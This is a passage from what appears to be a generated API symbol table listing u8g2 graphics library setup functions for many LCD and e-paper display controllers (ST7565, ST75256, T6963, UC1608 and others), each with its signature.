u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1607_gd_200x200_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1607_ws_200x200_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1607_ws_200x200_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_ssd1607_ws_200x200_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7511_avd_320x240_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7511_avd_320x240_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7511_avd_320x240_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx172104_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx172104_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx172104_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx19296_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx19296_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx19296_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx240160_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx240160_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx240160_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx256128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx256128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx256128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx256160_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx256160_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx256160_alt_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx256160_alt_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx256160_alt_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx256160_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx256160m_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx256160m_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx256160m_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx25664_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx25664_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_jlx25664_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_wo256x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_wo256x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_i2c_wo256x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx172104_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx172104_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx172104_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx19296_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx19296_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx19296_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx240160_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx240160_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx240160_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx256128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx256128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx256128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx256160_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx256160_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx256160_alt_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx256160_alt_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx256160_alt_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx256160_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx256160m_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx256160m_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx256160m_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx25664_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx25664_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_jlx25664_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_wo256x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_wo256x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75256_wo256x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7528_i2c_nhd_c160100_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7528_i2c_nhd_c160100_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7528_i2c_nhd_c160100_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7528_nhd_c160100_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7528_nhd_c160100_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7528_nhd_c160100_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75320_i2c_jlx320240_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75320_i2c_jlx320240_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75320_i2c_jlx320240_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75320_jlx320240_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75320_jlx320240_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st75320_jlx320240_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_64128n_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_64128n_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_64128n_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_ea_dogm128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_ea_dogm128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_ea_dogm128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_ea_dogm132_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_ea_dogm132_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_ea_dogm132_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_erc12864_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_erc12864_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_erc12864_alt_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_erc12864_alt_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_erc12864_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_jlx12864_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_jlx12864_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_jlx12864_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_lm6059_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_lm6059_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_lm6059_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_lm6063_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_lm6063_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_lm6063_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_lx12864_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_lx12864_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_lx12864_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_nhd_c12832_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_nhd_c12832_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_nhd_c12832_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_nhd_c12864_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_nhd_c12864_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_nhd_c12864_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_zolen_128x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_zolen_128x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7565_zolen_128x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_64x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_64x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_64x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_enh_dg128064_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_enh_dg128064_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_enh_dg128064_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_enh_dg128064i_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_enh_dg128064i_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_enh_dg128064i_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_i2c_64x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_i2c_64x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_i2c_64x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_jlx12864_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_jlx12864_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_jlx12864_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_os12864_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_os12864_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_os12864_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_pi_132x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_pi_132x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7567_pi_132x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7586s_erc240160_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7586s_erc240160_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7586s_erc240160_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7586s_s028hn118a_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7586s_s028hn118a_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7586s_s028hn118a_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7588_i2c_jlx12864_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7588_i2c_jlx12864_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7588_i2c_jlx12864_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7588_jlx12864_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7588_jlx12864_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7588_jlx12864_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_128x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_128x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_128x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_192x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_192x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_192x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_p_128x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_p_128x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_p_128x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_p_192x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_p_192x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_p_192x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_s_128x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_s_128x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_s_128x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_s_192x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_s_192x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_st7920_s_192x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_128x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_128x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_128x64_alt_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_128x64_alt_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_128x64_alt_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_128x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_160x80_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_160x80_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_160x80_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_240x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_240x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_240x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_240x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_240x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_240x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_256x64_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_256x64_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_t6963_256x64_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1601_128x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1601_128x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1601_128x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1601_i2c_128x32_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1601_i2c_128x32_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1601_i2c_128x32_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1604_i2c_jlx19264_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1604_i2c_jlx19264_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1604_i2c_jlx19264_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1604_jlx19264_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1604_jlx19264_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1604_jlx19264_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_240x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_240x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_240x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_erc240120_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_erc240120_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_erc240120_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_erc24064_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_erc24064_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_erc24064_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_i2c_240x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_i2c_240x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_i2c_240x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_i2c_erc240120_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_i2c_erc240120_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_i2c_erc240120_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_i2c_erc24064_1,void,"u8g2_t*, const 